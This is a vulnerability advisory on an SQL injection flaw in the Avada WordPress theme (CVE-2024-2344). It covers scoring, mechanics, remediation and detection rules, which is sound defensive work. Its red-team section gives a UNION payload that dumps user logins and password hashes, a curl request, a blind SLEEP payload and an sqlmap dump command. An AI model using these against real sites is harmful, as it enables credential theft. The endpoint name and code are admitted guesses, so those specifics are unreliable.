CVE-2024-2344

Executive Summary

CVE-2024-2344 is a critical SQL Injection vulnerability discovered in the Avada WordPress theme by Themefusion, affecting all versions up to and including 7.11.6. The flaw resides in insufficient escaping of the entry parameter, allowing authenticated attackers with editor-level privileges or higher to inject arbitrary SQL queries. Successful exploitation can lead to unauthorized extraction of sensitive data from the WordPress database, including user credentials, session tokens, and private content. The vulnerability has a CVSS score of 7.2 (High), and while the EPSS score is currently 0.0%, the potential for targeted attacks remains significant due to the widespread use of the Avada theme. No public proof-of-concept or patch details are available at this time, making proactive detection and mitigation essential.

WordPress Ecosystem Context

This vulnerability is specific to the Avada WordPress theme, a popular commercial product. It is not related to Apache, Nginx, or any other web server software. The attack vector relies on the theme's handling of user-supplied input within the WordPress admin interface, specifically through the entry parameter. Organizations using Avada should treat this as a high-priority WordPress security issue.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
• Privileges Required (PR): High (H) – An attacker must have editor-level or higher WordPress credentials.
• User Interaction (UI): None (N) – No user interaction is needed for exploitation.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Complete disclosure of database contents is possible.
• Integrity (I): High (H) – Data can be modified or deleted via SQL injection.
• Availability (A): High (H) – Database availability can be impacted through destructive queries.

Threat Level: High. While the privilege requirement reduces the attack surface, the potential for lateral movement and data exfiltration by compromised editor accounts makes this a serious threat.

Deep Dive & Mechanics

The vulnerability exists in the Avada theme's handling of the entry parameter, likely within a custom AJAX handler or shortcode that processes user input for database queries. The theme fails to properly escape the entry parameter before incorporating it into an SQL query, and it does not use prepared statements. This allows an authenticated attacker with editor-level access to inject malicious SQL code.

Technical Flow:

1. An authenticated user with editor privileges sends a crafted request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php or a theme-specific page).
2. The entry parameter is passed directly into an SQL query without proper sanitization or parameterization.
3. The attacker appends SQL commands (e.g., UNION SELECT, OR 1=1, or time-based blind injection) to extract data.
4. The database executes the modified query, returning sensitive information or allowing further manipulation.

Example vulnerable code pattern (conceptual):

$entry = $_POST['entry'];
$query = "SELECT * FROM wp_posts WHERE id = " . $entry;
$result = $wpdb->get_results($query);

Impact: An attacker could extract user hashes, session tokens, private posts, and other sensitive data. In some cases, they might escalate privileges or perform denial-of-service attacks.

Vulnerable vs. Patched Code

Since no official patch is available, the following represents the expected fix pattern.

Vulnerable Code (Avada <= 7.11.6):

// Vulnerable: direct concatenation without escaping
$entry = $_POST['entry'];
$results = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}avada_data WHERE entry_id = $entry" );

Patched Code (Expected):

// Patched: using prepared statement
$entry = intval( $_POST['entry'] ); // or $wpdb->prepare()
$results = $wpdb->get_results( $wpdb->prepare(
    "SELECT * FROM {$wpdb->prefix}avada_data WHERE entry_id = %d",
    $entry
) );

The patched version uses $wpdb->prepare() with a placeholder (%d) to ensure the input is treated as data, not executable SQL.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with Avada theme <= 7.11.6
• Editor-level credentials (e.g., editor:password123)

Exploitation Steps:

1. Identify the vulnerable endpoint: Use a proxy (e.g., Burp Suite) to intercept requests from the Avada admin interface. Look for parameters named entry in POST requests.
2. Craft the injection: Modify the entry parameter to include SQL injection payloads.
3. Extract data: Use UNION-based or blind injection techniques.

Example SQL Injection Payload (UNION-based):

1 UNION SELECT user_login, user_pass, user_email FROM wp_users--

Example Request (using cURL):

curl -X POST 'http://target.com/wp-admin/admin-ajax.php' \
  -d 'action=avada_custom_action&entry=1 UNION SELECT user_login,user_pass,user_email FROM wp_users--'

Blind Injection (Time-based):

1 AND SLEEP(5)--

Automation with sqlmap:

sqlmap -u 'http://target.com/wp-admin/admin-ajax.php' \
  --data='action=avada_custom_action&entry=1' \
  --cookie='wordpress_logged_in_xxx=...' \
  --level=5 --risk=3 --batch --dump

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual SQL errors: Look for database error messages in logs that contain SQL syntax errors or unexpected keywords.
2. Analyze web server logs: Search for requests containing SQL keywords (e.g., UNION, SELECT, SLEEP) in the entry parameter.
3. Check for privilege escalation: Monitor editor accounts for unusual activity, such as accessing database tables or executing admin-only functions.

Honeypot Setup:

• Deploy a decoy WordPress instance with Avada and monitor for injection attempts.
• Use a WAF rule to log and block requests with suspicious entry values.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /wp-admin/admin-ajax.php with action=avada_custom_action (or similar) and entry parameter containing SQL keywords.
• Outbound database connections from the web server to unexpected IPs (data exfiltration).

Host IOCs:

• Unusual entries in MySQL general log or slow query log (e.g., UNION SELECT, SLEEP()).
• Modified WordPress files (e.g., wp-content/themes/Avada/...) containing backdoors.
• New user accounts with elevated privileges created by editor-level users.

File IOCs:

• Suspicious PHP files in wp-content/uploads/ or wp-content/plugins/ with SQL injection code.
• Modified .htaccess files redirecting traffic.

Detection Engineering

YARA Rule

rule CVE_2024_2344_Avada_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-2344 in Avada theme"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2344"
    strings:
        $sqli1 = /entry\s*=\s*.*\b(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|SLEEP|BENCHMARK)\b/i
        $sqli2 = /entry\s*=\s*.*['\"]\s*(OR|AND)\s+1\s*=\s*1/i
        $sqli3 = /entry\s*=\s*.*\b(0x|CHAR|CONCAT|LOAD_FILE|INTO\s+OUTFILE)\b/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-2344 Avada SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against the Avada theme's 'entry' parameter
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'entry='
        cs-uri-query|re: '(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|SLEEP|BENCHMARK|OR 1=1)'
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in non-malicious contexts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-2344 Avada SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"entry="; http_client_body;
    pcre:"/(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|SLEEP|BENCHMARK|OR\s+1\s*=\s*1)/Ri";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Avada: If a patched version becomes available, update immediately. Check Themefusion's official site for updates.
2. Restrict Editor Privileges: Limit the number of editor-level accounts and enforce strong passwords.
3. Web Application Firewall (WAF): Deploy WAF rules to block SQL injection patterns in the entry parameter.
4. Database Hardening: Use a database user with minimal privileges for the WordPress application (no DROP, CREATE, or FILE privileges).

Long-term Mitigations:

• Code Review: Audit all custom code and third-party themes/plugins for SQL injection vulnerabilities.
• Prepared Statements: Ensure all database queries use parameterized queries or prepared statements.
• Input Validation: Implement strict input validation and sanitization for all user-supplied parameters.
• Monitoring: Enable detailed logging for database queries and web server access, with alerts for suspicious patterns.

Workaround (if patch unavailable):

• Disable the vulnerable functionality by removing or commenting out the code that processes the entry parameter in the Avada theme files (requires custom development).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert